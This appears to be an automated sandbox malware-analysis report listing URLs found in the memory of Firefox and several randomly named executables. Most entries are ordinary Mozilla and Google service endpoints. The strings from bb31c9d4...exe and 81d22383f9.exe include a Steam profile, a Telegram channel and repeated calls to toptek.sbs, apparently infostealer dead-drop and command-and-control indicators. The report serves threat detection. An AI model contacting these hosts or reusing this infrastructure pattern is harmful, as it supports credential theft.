Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000030.00000002.3462121451.0000022389EF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000030.00000003.3312834408.000002238E35A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/internal:privateBrowsingAllowed
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/internal:privateBrowsingAllowedabout-compat/aboutPage.js
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svgresource://gre/modules/FileUtils.sys.mjsFileUtils_openAtomicF
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000030.00000002.3592510223.000002238B513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsC:
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelA
Source: 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003497000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002470000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000000.2804284012.0000000000423000.00000008.00000001.01000000.00000012.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000000.2804284012.0000000000423000.00000008.00000001.01000000.00000012.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512m0nk3Mozilla/5.0
Source: 85746525a0.exe, 0000000B.00000003.2612891427.0000000003321000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3121192653.0000000005420000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3241839166.0000000005F65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000030.00000002.3462121451.0000022389EF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: ed7d415177.exe, 0000001E.00000003.3379230947.0000000005FE5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: ed7d415177.exe, 0000001E.00000003.3379230947.0000000005FE5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: d0e32932f8.exe, 0000001A.00000003.3524238763.000000000B775000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.orghttps://truecolors.firefox.combrowser.urlbar.openViewOnFocusbrowser.migra
Source: 85746525a0.exe, 0000000B.00000003.2612891427.000000000331F000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2636375625.0000000003318000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2637205234.0000000003318000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2613009119.0000000003318000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2636954929.0000000003318000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3145022320.0000000005419000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3121359650.0000000005419000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3121192653.0000000005420000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3324256499.0000000005510000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3248293209.0000000005F17000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3241839166.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3280368275.0000000005F17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 85746525a0.exe, 0000000B.00000003.2613009119.00000000032F3000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3121359650.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3248293209.0000000005EF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 85746525a0.exe, 0000000B.00000003.2612891427.000000000331F000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2636375625.0000000003318000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2637205234.0000000003318000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2613009119.0000000003318000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2636954929.0000000003318000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3145022320.0000000005419000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3121359650.0000000005419000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3121192653.0000000005420000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3324256499.0000000005510000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3248293209.0000000005F17000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3241839166.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3280368275.0000000005F17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 85746525a0.exe, 0000000B.00000003.2613009119.00000000032F3000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3121359650.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3248293209.0000000005EF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003497000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002470000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2835991886.0000000000743000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2835991886.0000000000737000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000000.2804284012.0000000000423000.00000008.00000001.01000000.00000012.sdmp String found in binary or memory: https://t.me/k04ael
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000000.2804284012.0000000000423000.00000008.00000001.01000000.00000012.sdmp String found in binary or memory: https://t.me/k04aelm0nk3Mozilla/5.0
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2835991886.0000000000737000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2910218762.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3007832158.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3074857106.0000000000739000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3681831989.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2936416387.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2976897077.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2910218762.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3007832158.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2880430009.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3074857106.0000000000739000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/#
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2880430009.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3074857106.0000000000739000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/)
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3676837046.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3635342426.0000000000785000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3624380603.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2936416387.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3329606785.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3638219476.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3423555296.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3621726681.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3648433704.0000000000785000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3369665575.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3662455343.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3651506331.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3620628902.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3563625535.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3681831989.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/5
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2880430009.000000000073E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/7
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3007832158.000000000073E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/=
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3676837046.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3635342426.0000000000785000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3624380603.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2936416387.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3329606785.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3638219476.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2976897077.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3423555296.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3621726681.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3648433704.0000000000785000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3369665575.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3662455343.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3007832158.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3651506331.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3074857106.0000000000739000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3620628902.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3563625535.0000000000787000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3681831989.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/A
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2910218762.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2880430009.000000000073E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/U
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2880430009.000000000073E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/Y
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3074857106.0000000000739000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/e
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2910218762.000000000073E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/g
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2976897077.000000000073E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/k
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2936416387.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2976897077.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2910218762.000000000073E000.00000004.00000020.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3007832158.000000000073E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/m
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2910218762.000000000073E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://toptek.sbs/q
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000030.00000002.3462121451.0000022389EF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.2835991886.0000000000743000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://web.telegram.org
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: ed7d415177.exe, 00000018.00000003.3248441789.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3447488113.0000022389DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312453813.000002238E33C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312834408.000002238E35A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://extensions/content/schemas/browsing_data
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/https://www.amazon.com/exec/obidos/external-searc
Source: firefox.exe, 00000030.00000002.3676285099.000002238E06F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
